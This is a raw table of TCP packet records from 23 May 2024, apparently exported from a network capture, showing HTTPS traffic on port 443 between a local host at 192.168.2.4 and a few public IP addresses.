May 23, 2024 10:31:32.850406885 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.850420952 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.850610971 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.850624084 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.850754023 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.850763083 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.864274025 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:32.864308119 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:32.864355087 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:32.864614010 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:32.864643097 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:32.864767075 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:32.864842892 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:32.864856005 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:32.865655899 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:32.865665913 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:32.902853966 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.902875900 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.907790899 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.907856941 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.907865047 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.912400961 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.912457943 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.912465096 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.916798115 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.916853905 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.916856050 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.916871071 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.917345047 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.920321941 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.923712969 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.923764944 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.923773050 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.925529003 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.925580978 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.925587893 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.932689905 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.932760954 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.932768106 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.934233904 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.934288025 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.934294939 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.936888933 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.936949968 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.936961889 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.939677000 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.939733028 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.939740896 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.942476988 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.942542076 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.942548037 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.945266962 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.945317984 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.945324898 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.947926998 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.947983027 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.947989941 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.950318098 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.950455904 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.950628996 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.950644016 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.951050043 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.951071978 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.951143026 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.951694965 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.951714039 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.324251890 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.324548960 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.324569941 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.326001883 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.326067924 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.326380968 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.326456070 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.326534033 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.326540947 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.329133987 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.329329967 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.329360008 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.329863071 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.330199957 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.330281019 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.330305099 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.335294962 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.335514069 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.335522890 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.336874008 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.337028980 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.337037086 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.338000059 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.338054895 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.338337898 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.338430882 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.338437080 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.338833094 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.338882923 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.338897943 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.339365005 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.339436054 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.339534044 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.350522041 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.350734949 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.350744963 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.351028919 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.351336002 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.351389885 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.351444006 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.370510101 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.371582985 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.371639013 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.386534929 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.387275934 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.387275934 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.387303114 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.387319088 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.394498110 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.402851105 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.434111118 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.434111118 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.516629934 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.517230034 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.517246008 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.520764112 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.521214008 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.521214008 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.521394014 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.521469116 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.535903931 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:33.536442995 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:33.536451101 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:33.537501097 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:33.538036108 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:33.538036108 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:33.538100004 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:33.538243055 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:33.562508106 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.574793100 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.574800014 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:33.578506947 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:33.580275059 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:33.580287933 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:33.617208004 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:33.617451906 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:33.617474079 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:33.618633986 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:33.618781090 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:33.619652987 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:33.619714975 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:33.619846106 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:33.619854927 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:33.621608973 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:33.621609926 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:33.668597937 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:33.845695019 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:33.850754976 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:33.851061106 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:33.851068020 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:33.851418972 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:33.851685047 CEST	49784	443	192.168.2.4	142.250.185.196
May 23, 2024 10:31:33.851697922 CEST	443	49784	142.250.185.196	192.168.2.4
May 23, 2024 10:31:33.894869089 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:33.949821949 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:33.994369030 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.008128881 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.008167982 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.011059046 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.011077881 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.013068914 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.017271042 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.026521921 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.030735016 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.030750036 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.052248955 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.052331924 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.054519892 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.054528952 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.059662104 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.059715986 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.059757948 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.059760094 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.059792995 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.060053110 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.074372053 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.074383974 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.074455976 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.074475050 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.078155994 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.078165054 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.087752104 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.088474035 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.088495970 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.093652964 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.093683958 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.094091892 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.094110012 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.094786882 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.100394964 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.100413084 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.100460052 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.100475073 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.100497961 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:34.100507021 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.100512981 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.100531101 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:34.100626945 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:34.105729103 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.111010075 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.111098051 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.111143112 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.111156940 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.113050938 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.116636992 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.121601105 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.121609926 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.124754906 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.124838114 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.124851942 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.124861002 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.125766993 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.126585960 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.137921095 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.138004065 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.141060114 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.141069889 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.141940117 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.142214060 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.142225981 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.148603916 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.148675919 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.149156094 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.149164915 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.152539015 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.153127909 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.153136015 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.154505014 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.164665937 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.164832115 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:34.169051886 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.169051886 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.169059992 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.170866013 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.183510065 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.189385891 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.189577103 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.189619064 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.189635992 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.190381050 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.192420959 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.195558071 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.195596933 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.195631981 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.195638895 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.196249008 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.198240042 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.201399088 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.201467991 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.202511072 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.202522993 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.207041979 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.207081079 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.207123041 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.207175970 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.207182884 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.207231045 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.207307100 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.207382917 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.207953930 CEST	49786	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.207983971 CEST	443	49786	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.208234072 CEST	49786	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.208969116 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.208981037 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.209012032 CEST	49786	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.209027052 CEST	443	49786	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.213372946 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.213480949 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.214576960 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.214587927 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.215478897 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.215478897 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.215487003 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.215498924 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.216528893 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.216561079 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.216634035 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.216644049 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.216713905 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.218061924 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.219279051 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.219305992 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.219417095 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.219425917 CEST	443	49785	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.221551895 CEST	49785	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.224085093 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.224154949 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.224235058 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.224261999 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.225136995 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.226634026 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.229334116 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.229389906 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.230372906 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.230381012 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.232410908 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.232518911 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.232525110 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.237258911 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.237310886 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.237339973 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.237345934 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.237751007 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.238929033 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.238951921 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.239042044 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.239047050 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.243993998 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.244030952 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.244079113 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.244106054 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:34.244106054 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:34.244118929 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.244128942 CEST	443	49783	13.227.219.11	192.168.2.4
May 23, 2024 10:31:34.244138002 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:34.244297028 CEST	49783	443	192.168.2.4	13.227.219.11
May 23, 2024 10:31:34.246716976 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.246733904 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.246754885 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.246788025 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.246798992 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.246825933 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.246830940 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.246869087 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.247714996 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.247714996 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.248644114 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.248672009 CEST	49787	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.248686075 CEST	443	49787	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.248733997 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.248740911 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.248770952 CEST	49787	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.249478102 CEST	49787	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.249490023 CEST	443	49787	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.255974054 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.256269932 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.258074045 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.258083105 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.258507013 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:34.260767937 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.261987925 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:34.262017012 CEST	443	49780	104.21.52.56	192.168.2.4
